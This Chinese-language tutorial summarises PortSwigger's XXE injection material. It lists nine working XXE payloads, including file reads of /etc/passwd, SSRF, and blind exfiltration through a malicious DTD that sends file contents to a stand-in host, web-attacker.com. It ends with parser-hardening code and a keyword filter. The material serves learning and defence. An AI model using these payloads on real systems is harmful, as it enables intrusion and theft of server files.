PortSwigger XML外部实体注入(XXE)

一、漏洞原理

        当应用程序使用 XML 格式传输数据,应用程序使用的是标准库来处理上传到服务器上的 XML 数据。由于XML 规范中包含了各种潜在的危险功能,而标准的解析器支持这些危险的功能,进而导致了XXE漏洞,换句话说就是引用了外部的恶意DTD。

二、常见利用方式

        1、利用外部实体检索文件

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>&xxe;</stockCheck>

        2、利用外部实体执行SSRF攻击

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
<stockCheck>&xxe;</stockCheck>

        3、外带交互的盲XXE

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
<stockCheck>&xxe;</stockCheck>

        4、通过XML参数实体进行外带交互的盲XXE

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
<stockCheck>%xxe;</stockCheck>

        5、利用盲XEE使用外部恶意DTD泄露数据

//外部恶意DTD
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
//客户端插入XXE代码
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

        6、利用盲XXE通过错误消息检索数据

//客户端插入XXE代码
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

        7、利用XXE通过重新调整本地DTD的用途来检索数据

//用来测试该路径下是否存在docbookx.dtd文件,不存在报错。
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
//custom_entity 为重写的实体名
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

        8、利用XInclude检索文件(隐藏XXE)

//将以下XXE代码当参数传入后端,后端处理参数时会引用http://www.w3.org/2001/XInclude命名空间,执行识别xi:include标签的功能性。

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

        9、通过图像文件上传利用XXE

//将以下代码放入SVG文件并上传
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

三、常见防护措施

        1、禁用外部实体:

//php
libxml_disable_entity_loader(true);
//java
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

         2、过滤用户提交的XML数据:

        关键词:<!DOCTYPE> 、<!ENTITY> 、SYSTEM、PUBLIC、INCLUDE。

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值